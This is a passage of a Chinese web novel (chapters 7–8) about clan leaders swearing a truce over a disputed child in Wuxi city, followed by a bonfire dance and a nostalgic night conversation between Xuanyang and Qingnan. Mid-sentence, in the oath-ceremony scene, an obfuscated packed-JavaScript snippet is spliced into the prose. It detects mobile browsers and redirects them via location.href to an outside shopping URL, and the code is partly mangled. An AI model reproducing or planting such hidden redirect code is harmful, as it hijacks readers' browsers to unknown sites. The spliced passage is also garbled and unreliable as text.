“五溪君将请来十位氏族族长,在他们的见证下,在神明面前和章兄盟誓,哪怕今后她不在人世,这个约定也将执行下去。” “玄旸!你不要胡说,我母亲根本没这么说过!” 阙月愤怒又激动,猛地站起身,动作过于激烈,箭伤疼得她呲牙。 “我抵达五溪城的第二天,五溪君单独找我谈话,她知道你肯定会反对,所以避开你。五溪君请我做为传话人,她知道我与白章是旧交。” “胡说!” 阙月仍旧不信,大声呵斥。 “章兄,五溪君已经做出表态,现在,就看章兄想怎么做。如果白湖打算通过战争来解决,我知道获赢的一方会是白湖,一件吉金武器,可以抵挡十件石制兵器,五溪城没有胜算。” 玄旸提高声调,他声音严厉:“但是,获胜的白湖将与整个江皋族为敌!江皋族人一定会在仇恨与恐惧之下,切断南北往来的水路,让白湖人从此不能渡江,没有南方的鱼酱、美酒和稻米输入,白湖光有食盐可没法填饱肚子。” 白湖的财富来源就是白湖出产的盐,白湖人会用财物交换江皋族丰富的物产,产食盐的盐碱地不能种庄稼,光有食盐可无法生存。 “十个氏族的族长来作证?哪十个?至少得有一半是地中族人。孩子八岁就已经懂事,如果要促成和谈,我要求必须在两年后归还我儿子,两年后,小辰正好八岁。”白章其实明白不能靠战争手段抢儿子,他对玄旸的提议表现出些许兴趣。 一直罩在斗篷里,抱得手酸的小辰又开始挣扎,白章弯下腰,让孩子的脚着地。 白章身边围簇着一帮手下,始终在提防五溪城的战士突然冲过来抢孩子,他们见小辰被放在地上,注意力全在孩子身上。 就在这时,青南急呼一声:“玄旸!” 阙月弓弦上的箭已经射出,箭矢朝玄旸所在的方向疾飞,下一秒即将命中白章的脑袋,倏然,箭矢偏离目标,掉落在地。 一支箭断成两截,分别落在不同的地方。 没人看清发生了什么,只有青南留意到玄旸手中长矛的矛杆在抖动,千钧一发之际,是玄旸拦下这致命一箭。 在青南出声前,玄旸就已经察觉到阙月的意图。 先前顾忌白章和小辰挨得太近,害怕失手伤到小辰,阙月不敢对白章开弓,谁能想到怒不可遏的她,竟然打算将白章爆头,就在小辰面前。 白章的弓手反应慢玄旸半拍,从错愕中回过神,马上对阙月回击,箭刚要脱离弓弦,竟连箭带弓一起被什么东西击碎了。 玄旸的长矛直接招呼在弓手身上,遭到不留余力的击打,弓箭破碎,弓手的身子撞向后面的土墙,又翻落在地上,吃疼大叫。 见玄旸打伤自己的人,白章手下更加不满,五溪城的战士大多反对与白湖人进行和谈,对白章手下要射杀阙月也感到震怒。 双方怒气值直涨,眼看又要干架,忽然,外面传来急促的脚步声,一群人举着火把朝院门走来,仔细一看,走在前方的正是城主皋月。 皋月带来数名五溪城战士,还有另一支夜巡队,夜巡队押着两个遭五花大绑的高地族战士。 这支夜巡队成员身上普遍有伤,显然刚经历过一场激烈战斗,玄邴属于毫发无伤的幸运者,麂子的手臂淌血,走路摇晃,由玄邴搀扶。 7.第 7 章 麂子的右臂被利器扎伤,深得见骨,创口却很平滑,能留下这种痕迹的武器,肯定不同寻常。 不是骨质或者石质的武器,此类材质容易破碎,留下的创口不会如此光滑,应该是一把由吉金材质打造,极其锋利且坚固的武器。 此时,麂子的肩膀被玄旸按住,防止他在治疗时乱动,麂子疼得流冷汗,咬着牙,不吭声。 青南低头为麂子清洗伤口,上药,包扎,动作十分娴熟,他忙活时,玄旸的目光一直落在他身上,没移开过。 脖颈处那道细长的割伤没有经过处理,但已经止血,青南毫不在意自己身上的小伤。 包扎好麂子的伤口,青南将自己沾染血污的手放进木盆,血污在清水中晕开,他抬起头,言语平静:“筋脉未断,手臂能保住。” 搓洗指缝里的血污,将手洗干净,察觉玄旸的目光还在自己身上,青南问:“何事?” “你唤了我的名字。”玄旸说。 就在之前,阙月放箭,瞄准的是玄旸所在的位置,其实目标不是他,而是站在他身边的白章,青南情急之下,叫出玄旸的名字。 “我当然知道你名字。”青南擦擦手,开始收拾一堆小药罐,将它们装进一只藤编的圆形药箱里。 这里不少人都直呼玄旸的名字,叫名字有什么奇怪。 收拾好自己的物品,青南提着药箱出屋,乌狶在屋外戒备四周,见青南出来,跟着他一起离开。 玄邴蹲火塘边烧水,水还没沸,听见麂子说口渴,他连忙取来一只竹勺,用它勺水。 将一碗温水递给麂子,麂子咕噜咕噜喝下,失血使他十分口渴。 “哥,青宫之覡怎么说?” “他说麂子没事,那只手还能用。” 玄邴听不懂羽人族的语言,没听懂刚才青南和玄旸在说什么。 “羽人族也有武士吗?”玄邴边烧水边聊话。 “听说以前有。” 扶麂子躺下后,玄旸就在他身旁坐着,照料伤患。 “羽人族那个头上插两根黑毛的家伙(乌狶),别看他个头矮小,打起架来简直比豹子还猛,又快又狠,今晚能逮住那两个恶人,他功劳不小咧。” 往火塘里塞把柴草,一股浓烟冒起,玄邴猛咳两声。 “这人祖祖辈辈都是青宫的猎人,搁以前羽人族的都邑还有王的时候,他就是国王的猎人。” “难怪。”玄邴拿一根烧火棍戳陶罐上的烟炱,突然发起呆。 麂子疲倦地闭上眼睛,躺着一动不动,玄旸低头去听,听见轻轻的鼾声,睡着了。 “白章那帮手下混进城时,全都做了伪装,你们是怎么发现他们?” 听见玄旸询问声,玄邴回过神来,开始讲述他们今晚的遭遇。 已经是凌晨时分,原本闹哄哄的外面终于寂静下来,玄邴打了个哈欠,讲述时脸上露出疲态。 “我最先发现,我眼尖,那家伙从我身边走过,我一眼就看见那家伙腰间的匕首。” 玄邴回忆当时的情景,历历在目:“我老爹有一把吉金匕首,很宝贝,摸都不让人摸,我偷偷看过也摸过。当时我们正准备出城巡逻——阙月和你带的队伍负责巡逻城内,我们负责巡逻城外嘛,那时太阳快下山了。 我出城门时,那家伙正好挤在傍晚归城的人群里边,试图溜进城,我一眼就认出他腰间的吉金匕首,那只匕首用布缠住柄部,裹得不仔细,还是能辨认。我就悄悄地,趁他不注意从背后将人扑倒。” “那家伙开始挣扎,怪叫,叫的话我们一句也听不懂。我跟麂子,还有另一位守卫,我们三个人差点按不住他,也不知道是吃什么长大,力气那么大。那家伙的同伴听见叫声都赶来了,他们早早就混进城内,一个个像竹笋似的全都冒出来,要我说城里肯定有人给他们提供藏匿的地方。我们夜巡队的十几个兄弟,还有看城门的守卫,二十几个人跟他们厮打,他们拢共就五人。哎,真是丢脸,我们……” 玄旸很淡定:“你们打不赢他们。” 露出无奈的笑,玄邴自嘲:“就是五十个也未必是他们的对手,怎么打?人家用的是吉金武器,我们拿那些木头,骨头,石头制作的东西和他们打,根本就是一个笑话。” 玄邴把手臂枕在脑后,侧靠着墙,他深深叹口气,像似在整理心情:“那么大的动静,城里的居民全都跑来帮忙,人真不少啊!就是这样,我们也只逮住两个人,另外三个还是让他们跑啦。” 瞥眼蜷缩在一旁,因为伤痛睡得不怎么安稳的麂子,玄邴压低声说:“其实,我们这么多人怎么可能打不赢五个高地族战士,叠一起压都能把他们压扁。当时大家心慌,手里的匕首、矛头,跟吉金一碰,全都碎了。” 到现在还心有余悸。 “哥,早知道他们五溪城和白湖是为了抢孩子才闹矛盾,我就不参加什么夜巡队。白湖人真富有啊,把北方的高地族战士都请来了。” 玄邴意犹未尽,抒发自己的感想:“要我说,天底下最困难的事,莫过于是从女人怀里抢孩子。女人最重情,她们往往因为无法割舍感情,做出错误决定。我要是五溪君,我就把那小男孩交给白湖,养大了也是白养,养大后,他终究是要回去白湖。” “你把事情想得太简单。”玄旸站起身,整理斗篷,他系紧斗篷领口的带子,春寒料峭,夜半屋外可不暖和。 “我懂。”陶罐里的水开始沸腾,玄邴把火塘里的火弄小,他从柴草堆里捡来两片树叶垫手,将热气腾腾的陶罐提起,放在陶支架上。 “除去江皋族,别的部族从很早以前,就不需要老祖母来管事。不说别的部族,就是大皋城的贵族,也施行同样的规矩:当家管事的是爹,爹死了,儿子接替。 是战争改变了一切,战争不需要老祖母的生活经验与慈爱关怀,战争只需要武力。 那些最出众的勇士,会在战斗中树立威信,通过战争拥有大量财富,获得权力,他们修建更为牢固的城墙,武装更多的居民,使自己和子孙成为城主、国君。 五溪君是个有智慧的人,可惜她再用心维护五溪城的老规矩,也无法阻挡外面巨大的冲击波及到她的地盘。也许几年后,我们再来五溪城,五溪城也变天了呢。” 玄邴为自己倒碗水,吹吹热气,小口慢慢喝,他继续说:“白章现在的处境,算是人质吧,他雇佣的那帮高地族战士伤的伤,跑的跑,哥,你觉得他会跟五溪君和谈吗?” 玄旸坐在火塘边烤火,漫不经心说:“他没得选择。” 玄邴像似想起什么,来了兴致,忙问:“现在五溪城能凑够十个氏族的族长吗?五溪君不是说会请十个氏族的族长,共同见证五溪城和白湖的誓言。” 玄旸回:“还差几个。” “我想凑个数,我虽然不是族长,好歹也是玄夷城城主的儿子。白湖和五溪城抢孩子这种奇事,肯定会在各氏族之间流传,我做为他们盟会的见证者,我以后也是个有故事的人了。以后就像哥一样,走到哪里都有人认识!” 玄邴拍拍自己的胸脯,仿佛自己已经是个人们口耳相传的大人物。 玄旸打开屋门,一阵冷风吹入屋内,玄邴连忙过去关门,玄旸离开前留下一句话:“那可不是什么好事。” 每一个进行远游的人,都会有一堆或真或假的故事在旅途中广为流传。 成为有故事的人,人人认识,意味着旅程上已经遭遇各种麻烦事,恩恩怨怨相伴一路。 今日发生惊悚事件,在一番闹腾过后,五溪城归于平静,路过一座座屋舍,屋里人都已经进入梦乡。 玄旸朝位于城中心的广场走去,那边的一座大屋灯火通明,五溪君和她的尊客正在商议要事。 这些尊客到五溪城参加飨宴,暂时住下来,他们的身份都比较特殊,不少人是氏族族长,或者族长的子女。 在此刻,获得盟友的支持,对五溪君而言太重要了。 玄旸没有进屋,站在大屋门外,静听里头的议论声,当听见一阵越来越近的脚步声,他回过头。 阙月的一只手吊在脖子上,她披着一件厚实大衣,步履蹒跚像个老人家,缓缓朝他走来。 玄旸问:“巫女们怎么样?” 阙月来到身旁,气喘吁吁,皱着眉说:“大巫年纪那么大,还被他们推倒在地,摔伤了腰,真是一帮恶徒。” “孩子们受到惊吓,好在没受伤,已经睡下。巫暮还在给受伤的人上药,她自个的情况也不好……那帮恶徒将她打晕,她昏过去好一会儿,醒来后说头疼。” “巫盈的两条手臂乌青,留下绳子勒束的痕迹,说是不疼,应该挺疼的。她说有一个歹徒拿绳子捆她手臂,不让她喊叫,把她嘴巴堵住,她被绑在自己屋里。” 见玄旸用手指向自己被吊着的那条手臂,阙月说:“巫盈帮我治疗,说我一年内都不能拉弓射箭。” “对了,鹭神使也在祠庙那边,他也在救治受伤的人,我本来以为他这人冷漠难亲近,没想到是个热心肠的人。” 阙月说完一长串话,虚弱地坐在地上。 “你没见过少年时期的鹭神使,那时人很亲和。别看他戴个木头面具,说话总是冷冰冰,他的心没变,我能感觉到。”玄旸露出笑容。 原来这家伙脸上也会有这样温和的笑容啊,阙月有些意外。 “当时我要射杀白章,鹭神使朝你喊了好大一声,喊的是什么?” “到底喊的是什么?不是地中话,也不是江皋族语。” “玄旸,我的名字。” 阙月嘴巴张得老大,恍然:“他用羽人族的话喊你的名字呀。” 人在情急之下,脱口而出的话,最能体现真情实意。 “你们俩以前关系很好吧?” “曾经很要好。” “他以为我想杀你吧。” “嗯。” 玄旸不再说话,倾听屋内的热闹交谈声,从谈话内容判断,皋月已经说服这帮来自不同氏族的尊客,请他们做为见证人,成为五溪城与白湖盟会的见证者。 已经是后半夜,属实有些倦乏,玄旸步下石阶,打算离开。 “玄旸。” “什么事?” “谢谢你。” 玄旸驻足,回头,看见阙月脸上露出疲惫的笑。 虽然受伤,容貌憔悴,她的笑容很美。 “谢谢你站在五溪城这边,还有救下我一命。” “不用。” 玄旸挥了下手,背对着阙月,走了。 当冷静下来,理智终于战胜情感,阙月也庆幸自己没有成功射杀白章。如果杀了白章,将没有人能约束高地族战士,谁知道这帮有吉金武器又好勇斗狠的家伙,会制造出什么血腥事件;如果白章在五溪城被杀死,白湖城的城主肯定会对五溪城进行疯狂报复。 清早,五溪城广场中央的台地上插着十多面不同氏族的旗帜,五颜六色,形状各异的氏族旗帜在风中张扬,广场人山人海。 玄旸站在城墙上,居高临下观察四周,他看见白章带着他的人排开拥挤的人群,往广场正中的台地走去,人潮没有被驱散,他们将白章的一名随从拦下,对那名随从进行推搡。 被拦下的人正是皋勾。 一名前来参加盟会的江皋族尊客过来帮皋勾解围,围困皋勾的人群这才散开。 “活该,应该打死他!没良心的狗东西,五溪城养大他,他却心向着白湖人!” 城门的守卫啐了一口,愤愤不平。 玄旸问:“我听说皋勾的母亲是五溪城人,父亲是大皋城人?” “可不是呢,那家伙一长大就投奔他爹去了,还骂我们蠢似猪,只会听女人使唤。他又是个什么东西,连老母亲都不管不顾!” 守卫喋喋不休。 玄旸目光落在广场中央,玄邴登上高台,与受五溪君邀请的其他尊客站在一起,他身为岱夷族,遗传高个子,在人群里露出一颗脑袋,脸上踌躇满志。 白章径自朝高台走去,跟随他的高地族战士被五溪城的士兵拦下,高地族战士见广场上乌泱泱的人群不敢嚣张,他们只能怒瞪双眼,发出牢骚。 担心高地族战士闹事,城墙上的守卫全都露出紧张表情,纷纷握紧手中的弓与矛。 他们见识过高地族的吉金武器,已经产生恐惧心理。 “这些人不走,我夜里都睡不安稳。” “怕什么,他们手里的那啥吉金刀,早就被五溪君收缴。等盟会弄完,五溪君就会叫他们滚出城去。” 两名守卫进行交谈。 广场上喧哗的声音忽然安静下来,五溪君站在高台上讲话,离得远,听不清她说了什么。 一名老妇人牵着一个小男孩的手登上石阶,她将男孩领到五溪君与白湖君之孙白章中间。 从老妇人的装束看,应该是江皋族某个氏族的族长。 那个男孩,就是小辰。 毫无疑问,五溪君正在公布小辰的身份。 玄旸扫视高台上的每一个人,他从里边没有找到阙月的身影,倒是见到一个熟悉身影——青南。 青南站在不起眼的位置,他和巫女们在一起。 巫女们的装束不同以往,她们穿上样式复杂的巫服,戴着高高的花冠,腰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13598728|143189||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 间挂着一只皮鼓。 白章从身上取下一样物品——似乎是项饰,他弯下身,将它戴在小辰脖子上。 孩子摸了摸这件贵重的礼物,似乎感到很新奇。 白章抱起小辰,举高,向在场的不同氏族的尊客展示这个孩子,像在展示珍宝。 玄旸听不见白章的说话声,但能猜到内容。 白章正在要求高台上的人们做为见证者,证明这个孩子是他和雾月的儿子,是他唯一的子嗣。 玄旸将高台下的人群来回搜寻,没找到阙月的身影。 本来担心这场盟会将有意外情况出现,目前看来,进行的还算顺利。 “雾月的儿子长大后,会不会像皋勾一样,背弃母族,自个跑出去找他的爹?” “白湖人那么富有,要什么有什么,他长大后要是去白湖,说不定还能当上白湖之君呢!” “肯定不会!他母亲可是被白湖人逼死的啊!” 城墙下,几个年轻男女在交谈,声音很大。 高台上,巫暮捧着一只漆盒,来到盟誓的双方面前,五溪君往漆盒里放一样物品,白章也拿出一样物品,放在漆盒里。 向神明宣誓,宣誓人需要交给神明一样自己的信物。 必须拿出自己的随身物品,表示诚心。 漆盒合上盖子,它被从高处往低处传递,经过一双双手,来到高台下的大巫手中。 大巫将漆盒放进一个早已挖好的土坑里,土坑狭长,很深。 过了许久,高台上又有一样物品递传下来,是一枚写有江皋族图文的木签。 木签上写的就是誓言内容。 木签同样被放进土坑里,就搁在漆盒上面。 人们往土坑里堆垒木柴,垒得很高,放火焚烧。 烈火熊熊燃烧,烟雾弥漫。 这是燎祭。 将人间的物品,通过烈火烧炙的方式,递交到神明手中。 高台传出富有节奏感的鼓声,鼓声成片,还有一阵阵悦耳的陶响器声,巫盈在腾升的烟雾中起舞,跳的是降神的舞蹈,月牙和葵在后方唱歌,她们边唱边拍鼓,晃动陶响铃。 玄旸见过的巫舞中,就属五溪城的巫舞最难跳,舞者需要经过漫长时日的训练,才能拥有寻常人不具备的技巧。 在舞蹈的过程中,舞者要一次次的旋跃,同时还要有节奏的敲击腰间的皮鼓,摇动裙摆的陶响器。 舞者会进入忘我境界,犹如神祇附体,不间断不停歇,不知疲惫,一直跳下去。 五溪城的巫舞精彩绝伦,令人目不转睛。 玄旸不是第一次见到五溪城的巫舞,没有那么惊诧,他的目光从巫盈身上挪开,落在青南身上。 果然,青南看得入迷。 覡与巫都是服侍神明的人,他们都以舞乐通神,他们有寻常人没有的极独特体验,他们的精神世界应该是相通的吧。 “终于结束了。” 有个声音在身旁响起,玄旸回头,见是阙月。 阙月坐在城墙上,望着高台,没再说什么。 烟雾越来越浓,缭绕在城内,高台上的巫盈仍在舞蹈,鼓声和陶响铃声始终没有停止,高台上的大部分人都已离开,剩下的人也在陆续离去。 玄旸问:“你刚待在哪里?” “我坐在城墙的土阶上,那边。” 阙月手指的位置,正好被一排房子遮住,她看来没选高处,压根就不想看盟誓过程。 心情低落,阙月用没受伤的那只手托住下巴,呆呆地望着高台上舞动的身影。 不只她在看,玄旸也在往那边看。 过了不知道多久,鼓声停止了,燎祭的火也在渐渐熄灭,广场上的人潮逐渐退去,高台上唯有巫女们与在旁观巫舞的青宫之覡。 高台下,皋月与白章在交谈,他们身边是那些来自不同氏族的尊客,其中就包括玄邴。 没多久,就见白章带着他的手下朝城门的方向走去。 阙月起身离开,不想跟白章碰面。 理智劝诫她不能杀白章,情感上,她一直有这方面的冲动,只能眼不见心不烦。 “旸弟,我的高地族兄弟让我帮他们传话,他们说之前的战斗不公平,是因为我的阻扰,他们才没法跟旸弟痛快地打一架。” 白章早就发现站在城墙上的玄旸,正朝他大声喊话。 玄旸声音响亮:“请章兄告诉他们:我受玄夷君差遣,有急事要赶赴大皋城。日后有机会的话,我很愿意跟高地族战士进行真正公平的一对一比试。” 言语不通,高地族战士询问白章对方都说了什么? 听明白后,高地族战士很不满,他们在城墙下对玄旸张牙舞爪,面露凶恶之色。 “旸弟下回去地中,可得到白湖来,咱们兄弟好好聚聚,千万不要因为五溪城的事,使我们兄弟之间的感情生出间隙。” 他笑时很有亲和力,一时难辨真情还是假意。 玄旸笑语:“章兄,我回程如果途径地中,一定顺道去趟白湖。” 听出对方话语里的敷衍,白章不再说什么,他当然也不是真心邀请。 在五溪城民众的怒视下,守城士卒的侧目下,白章领着他的随从们离去。 盟会看似圆满结束,其实白章心里很不甘心。 白章带着随从已经走远,玄邴来到玄旸跟前,还是一副得意洋洋的模样,他说:“哥,你还不知道盟誓的内容吧?你猜小辰长到几岁,白湖人才可以来找他?” “十五。” “你怎么知道!听说这是五溪君和白章在今早才确定下来的年龄。” “有先例,一般都选择在十五岁。争抢孩子这种事,各个部族都发生过,不是什么稀罕事。” “哥,你是不是想过去?一直朝那边看。” 玄邴劝告:“五溪城的巫女是很美,可人家是巫女啊,你可别迷上她们。” “走吧。”玄旸下城墙。 “白章是不是来找你麻烦?” “没有,他邀我去白湖做客。” “哥以后得提防他,白湖不能去。你想他雇佣高地族战士到五溪城抢儿子,孩子没抢到手,还被迫跟五溪君盟约,孩子得等到十五岁才有机会回去白湖,他得多恼火啊。白章回去后,肯定要挨白湖城的城主责骂,还会被族人视作无能咧。” “不过嘛,哥使白章的目的没能达成,可也从阙月箭下救他一命,按说他应该不会太记恨才是。” 玄邴边走边聊。 伸伸懒腰,玄旸说:“世间的事,要是能这么纯粹就好了。” 可惜不能。 8.第 8 章 巫盈放下木杵,用一只竹刷子将擂钵里药粉从钵壁上扫落,收集,倒进一只陶盒里,她的动作慢条斯理,很细致。忙完这件事,巫盈抬起头来,轻擦去额上的薄汗,这时,她发现青南依旧站在草药架前。 她抬手时袖口下滑,露出手腕上的瘀伤,手腕仍旧有歹徒留下的暴力痕迹,还没能消退。 青南模样专注,拿起一截草根观察,放到鼻子旁嗅闻,露出困惑的神情。 祠庙里的常备药材种类不少,有的药材还是第一次见到。 “这是神麻草,羽人族的土地可能不生长。” 巫盈把陶盒放在土台前,她取来一只陶壶,将陶壶里的清水缓缓倒入陶盒。 “神麻草?难怪气味有些熟悉,又怎么也辨认不出来。”青南顿时恍然,将那截草根放回一只草篓里。 一整篓都是的神麻草,这些草经过晾晒,切段处理。 “神使以前见过神麻草?” “见过,青宫通过交易,偶尔也能获得神麻草。我曾尝过神麻草酒,那种体验至今还记得。” 巫盈将陶盆里的药粉和清水轻轻搅拌,听见青南的话,她有些吃惊:“我们会在通神前饮用神麻草酒,只能饮一小杯,不能多喝。” “喝多了会怎样?” “会使人陷入狂乱,力竭昏迷,据说曾有人因为误饮神麻草酒,睡了三日才醒来。” 巫盈找来干净的细布,用细布过滤药糊,滤出药汁,她低头忙着自己的事情。 青南继续查看草药房中存放的药材,忽然听见屋外一个熟悉的男声,是玄旸。 注意力从草药架上离开,青南侧耳倾听玄旸与巫暮的交谈。 “你这么厉害,要不要教小辰本领,当他师傅?” “教不了,我后天就要离开五溪城。” “怎么不多待几天?下回再来五溪城,还不知道得是什么时候。” “要去大岱城,不能再耽误。” “你不是有个同伴受伤了?” “你是说麂子吧,他伤的是手,又不是脚,休养两天足够了。” 隐隐约约听见鼓声,从远处传来。 “我听说今晚有飨宴,玄旸,这回就属你功劳最大,五溪君肯定给你准备了好酒好肉,快过去领赏。” “那是篝火会的鼓声,离飨宴还早呢。” 之后再没听见玄旸说话,应该是离开了。 傍晚,受邀请的客人陆续入座,聚满一屋。 这次飨宴比以往任何一次都来得丰盛,五溪君为酬谢这些来自不同氏族的尊客,提供了享之不尽的美食和美酒。 夜幕降临,飨宴还在继续,屋中火塘里的火焰熊熊燃烧,提供照明和温暖,玄旸喝了不少酒,微醺,感到屋内闷热,他离开席位,到外面透气。 不时有人从广场上经过,三三两两交谈,有出城的人,也有刚从城郊返回的人。 城外篝火会的鼓声与歌声不断传来,比城内更热闹。 “獐牙大哥。” “哥,我跟麂子回去睡觉了。” 玄邴和麂子从举办飨宴的大屋里出来,他们朝玄旸挥挥手,一起离开了。 嗜酒如命的玄邴,醉得步履蹒跚,手臂搭住麂子的肩,麂子单手搀他,另一只手受伤未愈,绑着绳子吊在脖子上,两人真是一对好兄弟。 玄旸颔首。 站在人来人往,夜风透心凉的广场上,玄旸的酒很快就醒了,他听见有人喊他,回头一看是阙月。 阙月招呼:“玄旸,我记得你以前会跳舞,而且跳得不错,来来,跟我们五溪城人到篝火会上斗舞。” 玄旸随口问:“我赢了有什么好处?” “我送你五溪城最好的醴酒,两大陶尊!” 把两个指头伸出来,在玄旸眼前晃了晃,阙月比平时活泼热情,看来是醉了。 “可以,我要带在路上喝。” 玄旸同意,毕竟五溪城的美酒可是好东西。 青南从大屋里出来,正好见到阙月和玄旸在谈斗舞的事,他们两人离去,身边跟着一大群看热闹的人。 后天吗? 青南心里琢磨。 还以为玄旸会在五溪城住上一段时日。 长途旅行是十分累人的事,不得不一次次寻找歇脚的地方,经过充分的休息,做好充足的准备,才能再次踏上旅程。 旅程上停停走走,每次要出发前,青南总会踟蹰,对艰苦的旅途产生抗拒。 这个跟人说说笑笑,漫不经心的家伙,此时在众人拥簇之下,即将离开城门,他决定在踏上旅程前,先去篝火会上与人斗舞,赢下两尊酒。 受城郊的歌舞声欢笑声吸引,青南脚步不由自主跟随前面那一批人移动,来五溪城这么多天,也该了解下当地的风土人情。 夜幕下的篝火分布在五溪城四周,有五六处之多,出现篝火的地方,往往是小型聚落的所在地。 一座城,需要众多的聚落供养,聚落会往城里输送粮食、木材、石料、骨料等等等等。 住在城里的人,大部分是一些不用劳动的社会上层人士,与及从事手工业生产的人。 来到一处篝火燃烧得最旺盛,聚集最多人群的地方,青南游走在聚会的边沿,他与谁都不交集,昏暗中,也没人注意到他。 就像玄旸之前说的,篝火会上有跳傩舞的人,这些人也都戴着面具,使戴面具的青南不那么引人注目。 篝火会的中心,是正在斗舞的是玄旸与一名五溪族男子。 五溪族男子跳的是战舞,不难看出来,他一手拿盾牌,一手执长矛,舞蹈中加入战斗动作,威风凛凛,氛围热烈。 玄旸跳的是鹰舞,舞蹈奔放而热情,搭配着振奋人心的鼓点,精彩绝伦,赢得声声喝彩。 无论是鹰舞,还是战舞,显然都是五溪城人熟悉的舞蹈,人们不是旁观,而是纷纷加入,近百人一起跳舞,歌唱,有男有女有老有少,场面相当壮观。 恣情放纵,快乐无忧。 这样欢快的场面,青南从不曾在自己生活的地方见过,感到很惊讶。 在一旁观看许久,青南离开篝火会,借着月光到人少的溪畔踱步。 走着走着来到一处坡地,青南登上高坡,望见五溪城的城墙,还有城墙上的守卫与月亮。 四周是那么静谧,月光似水般柔和。 坐在草坡上,青南回想故乡的城墙和月光,羽邑那些古老的城墙因为年久失修,早已经破败不堪,惨淡的月光照在稀稀拉拉的破旧屋舍上,更显得毫无生气。 察觉有脚步声靠近,听声辨人,青南头也没抬,那人挨近,在他身旁坐下,念叨:“我看你酒不爱喝,舞是根本不跳,篝火会那么热闹,你却独自一人躲到这里来。你以前的降神舞就跳得极好,比我见过的任何巫覡都好。” 玄旸。 他是什么时候离开篝火会,又是怎么知道自己在这里? 青南嘴角以很小的幅度上扬,反问:“赢了吗?” “在五溪城斗舞我没输过。” 感觉玄旸把身子放平,躺在草坡上,躺地四仰八叉,他的语气也很恣意。 青南低头去看身边人,果然是大大咧咧躺平,双臂做枕头。 月光皑皑,凭借月光,没有其他光源,无法看清对方的脸,这使得青南感到自在。 两人好一会都没说话,夜幕下相处,听不远处聚会的人们传来的喧闹声。 “你怎么会来五溪城?” 玄旸用手臂支起脑袋,身子侧向青南,用话家常的口吻问。 “说来话长。” “我想听,你说吧。” 两人独处时,习惯用羽人族语交谈,说羽人族语的玄旸,总是让青南有倾诉的欲望。 从哪里开始说起呢? 青南问:“青宫的覡鹳,你还记得吗?” “覡鹳?哦,我记得有这么个人,我在羽邑居住时,听过他的大名,他是青宫之覡。羽人族和其他部族不同,很少会进行远游,更不喜欢跟别的部族往来,覡鹳不一样,他经常出游,好像去过不少地方。” “你记得很清楚。” “当然,在羽邑生活的那些时光,我一直没有忘记,你的事我记得更清楚。” 玄旸这句话,让青南不知道该怎么接。 决定忽视,青南谈正经事:“覡鹳是为了一个目的出游,他在寻找某个人。” “什么人?” “能让羽邑再次繁荣的人。” 青南仰望星空,繁星点点,天上无数的星,犹如人世间无数的人,覡鹳最终找到那个人了吗? “什么人有这样的能耐?” 玄旸望向星空,语调悠闲:“按你们羽人族的歌谣,羽邑发生动乱,最后一代羽王被杀,距今有两百年了吧。从此,羽邑再也没有王。” “覡鹳去其他部族寻找能够在山谷修筑水坝,疏通水道的人才——他想重修羽邑城外的水利设施,清理城中淤塞的河道,使羽邑适合居住,让四散的族人返回。” 青南回想幼年时见过覡鹳,是个瘦高寡言的人,虽不强壮,意志坚韧。 玄旸说:“我听舅舅讲过,羽邑就营建在沼泽地里,第一代羽王建起羽邑,用万人之力,数十载之功。据说羽邑相当古老,距今可能有千年之久,羽邑的外围还有十分复杂的水利设施,羽人族沿山体建设数座堤坝,既能拦山洪,平时也能蓄水。我还以为只是个传说,城外真得建有堤坝吗?” 青南点头:“有。” “年代实在久远,大部分坝堤在地表已经看不出来,我陪青宫大覡去城外寻找坝堤,在城西的天幕山找到两处遗址。” 青南继续往下说:“七年前,覡鹳再一次出行,他走前让青宫大覡准备荻草,荻草是修建堤坝需要的材料。覡鹳走得很匆忙,他离开后,就再也没有回来。” 玄旸躺在草坡上,找了个舒适的姿势:“就是找到一个精通水利的人又怎样,以羽邑的规模,就算只是疏通河道,没有数千名青壮参与劳作,根本不可能完成,更别提重修堤坝这种事。” “玄旸,你当年在羽邑住过,记不记得每次下大雨,水都会淹没外郭城,居民不得不搬到郭城的城墙与宫城的台地上居住。如今,只要下起大暴雨,甚至连宫城都会遭到洪水的袭击,青宫地势虽高,也许百年之后,也会被不断上升的水位淹没。” 青南的声音很平静,陈述时没有情感起伏,羽邑糟糕的处境,不是一朝一夕形成。 玄旸说:“记得。你来五溪城,就是为了寻找覡鹳的行踪吗?” “前段时日,整理覡鹳的物品,发现一件带符号的木签,是五溪城的图文木签。我到五溪城来,是想弄明白木签上图文的内容,希望能找到有用的线索。” “找到了吗?木签上的图文是什么内容?” 想到木签上的图文是句情话,青南一怔:“图文上没有线索。” 玄旸说:“四处寻找一个极可能早已经去世的人,没有任何意义。” 远行极其危险,也极为艰苦,玄旸最清楚。 “我在五溪城会停留一段时日,学习五溪城的图文与草药,之后,就回去羽邑。” 青南整理因夜风吹拂,在脖颈摆动的羽冠缨带,他目光望向林间,刚刚有情侣经 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玄旸坐起身,把一只手搭在腿上,注视月光下的身边人,只能看见轮廓,就算是轮廓,想到时隔多年,这个人就这么活生生的坐在自己身旁,都感到不可思议,以致滔滔不绝:“我回程还会经过五溪城,到时你如果还在五溪城,由我来护送你回羽邑。这些年来,我有时会想起羽邑,想回去看看,在那里度过一个夏天,捕鱼猎鹿,採桃摘枣,要是遇到雨天,就哪也不去,躺在青宫的屋檐下,看雨水像珠子一样落在鹅卵石铺的彩色散水上。” 仿佛看见宫城池苑里盛开的荷花,听见青宫大院里那棵高大的木荷树传来的蝉鸣声,雨断断续续下着,野鹿在已经成为沼泽的城郭荒废地带出没,从茂密的藨草丛里露出一对对灵动的鹿角。 在玄旸的讲述中,青南仿佛回到了过去。 雨声在木窗外滴滴答答下着,敲打地面的散水,少年玄旸就坐在少年青南身旁,在犯困的夏日午后打着哈欠,不久身子就歪靠在门框上,像似睡着了。 他头上缠的布条已经拆去,额头上留有一道浅浅的伤疤,随着时间推移,这道伤疤会淡化无痕。 